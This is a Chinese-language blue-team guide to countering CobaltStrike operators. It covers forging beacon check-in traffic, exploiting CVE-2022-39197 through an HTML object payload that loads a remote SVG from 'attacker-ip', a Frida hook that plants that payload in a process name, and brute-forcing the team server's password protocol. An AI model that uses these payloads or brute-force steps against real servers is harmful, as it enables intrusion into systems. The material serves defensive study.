反制Cobaltstrike的那些手段
字数 1402 2025-08-06 18:07:49
反制CobaltStrike的全面技术指南
0x01 背景
CobaltStrike(CS)是红队常用的渗透测试工具,本文详细总结对抗CS的各种技术手段,包括理论研究与实践实现。
0x02 主要内容
- 伪造流量批量上线(欺骗防御)
- 利用漏洞(CVE-2022-39197)反制攻击者
- 爆破CS Server密码获取控制权
- 旁路反制技术
0x03 研究分析与实现
一、伪造流量批量上线(欺骗防御)
1. 理论研究
应用场景:
- 发现精准钓鱼攻击时:混淆攻击者视听,使C2上线大量假终端
- 已有机器被控时:拖延攻击者,争取排查处置时间
伪造上线流量原理:
伪造CS的心跳流量,核心是伪造"元数据"(cookie字段),该字段是RSA公钥加密的内容。
元数据明文格式:
标志头(4字节) + Size(4) + Rawkey(16) + 字体(4) + beacon ID(4) + 进程ID(4) + port(2) + 内核(4) + 0x09 + 失陷IP + 0x09 + 主机名 + 0x09 + 用户名 + 0x09 + 进程名
CS判断唯一性:通过beacon ID字段区分不同心跳
获取公钥方法:
- 使用已知破解版本中的公钥
- 从stager拉取的beacon中提取
- 分析stagerless样本获取
- 从CS Server的
.cobaltstrike.beacon_keys文件提取
2. 实践实现
工具实现:
GitHub项目:cobaltstrikefakeup
关键代码:
// 从.cobaltstrike.beacon_keys提取公钥
ObjectInputStream var2 = new ObjectInputStream(new FileInputStream("keys"));
Scalar var3 = (Scalar)var2.readObject();
KeyPair keyPair1 = (KeyPair) var3.objectValue();
String publicKey = new String(Base64.getEncoder().encode(keyPair1.getPublic().getEncoded()));
使用限制:
- RSA加密明文长度限制为117字节(128-11)
- 需要合理分配各字段长度
二、通过漏洞反制(CVE-2022-39197)
1. XSS漏洞利用
漏洞原理:
CS未对元数据中的字段进行检查过滤,导致可通过伪造用户名等字段注入HTML标签
Payload示例:
<html>
利用场景:
- 存储型XSS:所有连接的aggressor端都会触发
- 溯源攻击者:记录请求来源IP
2. RCE漏洞升级
利用链条件:
- 类有无参构造方法
- 继承Component
- 有String类型参数的set方法
- 通过set方法能触发危险操作
POC类:
org.apache.batik.swing.JSVGCanvas
Payload:
<html><object classid='org.apache.batik.swing.JSVGCanvas'>
<param name='URI' value='http://attacker-ip/evil.svg'></param></object>
实践限制:
- 直接伪造元数据方式payload过长
- 替代方案:通过命令执行流量实现
Hook实现方案:
修改beacon进程名称为payload,当攻击者查看进程列表时触发
// Frida hook示例
Interceptor.replace(Process32Next, new NativeCallback(function (hSnapshot, lppe) {
var result = Process32Next(hSnapshot, lppe);
var processName = lppe.add(0x24).readAnsiString();
if (processName === "beacon.exe") {
lppe.add(0x24).writeAnsiString(payload);
}
return result;
}, 'int', ['pointer', 'pointer']));
三、爆破CS Server密码
登录协议分析
-
aggressor与server建立SSL连接
-
server监听端口等待连接
-
aggressor发送构造数据:
- 前4字节:0x0000BEEF(48879)
- 接着1字节:密码长度
- 然后是密码内容
- 剩余补'A'至256字节
-
server响应:
- 密码正确:返回0x0000CAFE(51966)
- 密码错误:返回0
爆破防御机制
// CS的爆破防护
synchronized(this) {
Thread.sleep((long)(Math.random() * 1000.0D));
}
- 随机睡眠0-1秒
- 导致爆破效率极低(约1次/秒)
四、旁路反制技术
思路:
当无法直接反制CS时,寻找:
- C2服务器上的其他服务漏洞
- 攻击者使用的关联工具漏洞
- 基础设施配置缺陷
案例:
- 发现C2运行nps服务,利用nps漏洞获取权限
- 攻击者使用的自动化工具存在RCE
0x04 总结
蓝队反制技术正在形成体系,未来可能发展出类似ATT&CK的防御框架。反制技术要点:
- 流量欺骗:伪造心跳干扰攻击者
- 漏洞利用:通过CS自身漏洞反制
- 密码爆破:针对弱口令防护
- 旁路突破:利用关联系统漏洞
防御建议:
- 红队应加强CS配置安全性
- 及时更新CS版本修复漏洞
- 使用自定义协议增强认证
- 隔离C2服务器与其他服务